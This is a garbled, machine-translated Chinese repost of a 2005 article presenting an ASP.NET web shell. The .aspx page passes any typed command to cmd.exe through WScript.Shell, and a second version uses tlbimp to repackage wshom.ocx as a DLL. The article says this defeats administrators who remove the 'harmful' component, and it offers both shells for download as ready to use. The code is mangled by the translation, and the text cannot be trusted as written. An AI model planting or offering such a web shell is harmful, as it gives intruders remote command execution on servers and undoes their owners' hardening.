手机版

ASP .网下使用WScript .壳执行命令

时间:2021-11-26 来源:互联网 编辑:宝哥软件园 浏览:

ASP .网提供了两种方法让我们使用计算机输出缩微胶片组件:1、服务器对象的创建对象方法;2、将计算机输出缩微胶片组件转化为。网组件服务器。对象的创建对象方法这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript .壳是系统自带的,我们不用担心。只是在编写代码时注意ASP .网与动态服务器页面语法上的细微差别就可以了。直接给出代码如下:- Titel:WScript .贝壳。net version 1 author : lake 2 mail :[email protected]site :3358 lake 2.054 . org致谢: internet date :2005-8-20% @ page language=' VB ' validaterequest=' false ' aspcompat=' true ' % script runat=' Server ' sub uncmd(SrcAsObject,EAsEventArgs)dimstrresultrastring DimCMDShellAsObject CMDShell=Server .CreateObject('WScript .shell ')StrResult=cmdshell。Exec(cmd路径.文本'/c ' cmdbox。文字。).标准输出。readall StrResult=Replace(StrResult ' ',' ')StrResult=Replace(StrResult ' ',' ')ResultLabel .text=' pre ' strresult '/pre ' endsub/script html head title wsh .shellforsp。netbylake 2/title/head body formrunat=“服务器”cmd。exe ' ' spat h : ASP : textbox id=' cmd path ' width=' 500 ' Text=' cmd。exe ' runat=' server '/br您的命令: asp3360 ext box id=' CMDBox ' width=' 200 ' runat=' server '/asp3360 Button id=' Button ' Text=' Run ' once '/font ——/div HR width=' 50% '/body/html保存为aspx文件,访问之,即可。将计算机输出缩微胶片组件转化为。网组件微软给我们提供了类型库导入器(类型库导入程序),经过它的转换,我们就可以使用计算机输出缩微胶片组件了。转换之后,会有一个dll文件,需要放到网目录的容器目录下组件才可以被使用。虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP .网与动态服务器页面的区别之一。哈哈,有的英国电信公司管理员没事要删除"有害"的组件,现在他也没办法了吧^_^写的。壳对象是%windir%\system32\WSHom .Ocx,我们把它复制出来拿给类型库导入器转换:tlbimp。exewshom。Ocx/out : wshomx。dll然后把WSHomx.dll放到网目录的容器下面。接着写代码咯,与前面的代码有少许不同。- Titel:WScript .贝壳。net version 2 author : lake 2 mail :[email protected]site :3358 lake 2.054 . org致谢: internet date :2005-8-20% @ page language=' VB ' validatereqest=' false ' % script runat=' server ' sub uncmd(SrcAsObject,easeteventargs)dimstrresultrastering dimcmdshellas new wshomx .WshShell ……(后同代码1) 现在访问之,看看效果吧:)

同理,我们也可以在ASP .网下用FSO读写文件应用执行命令、Jmail发送邮件,等等等等。呵呵,网大有前途的啊。(文中的程序点击这里下载wscmd.aspx。可直接使用;wsxcmd.aspx需使用wshomx.dll)

版权声明:ASP .网下使用WScript .壳执行命令是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。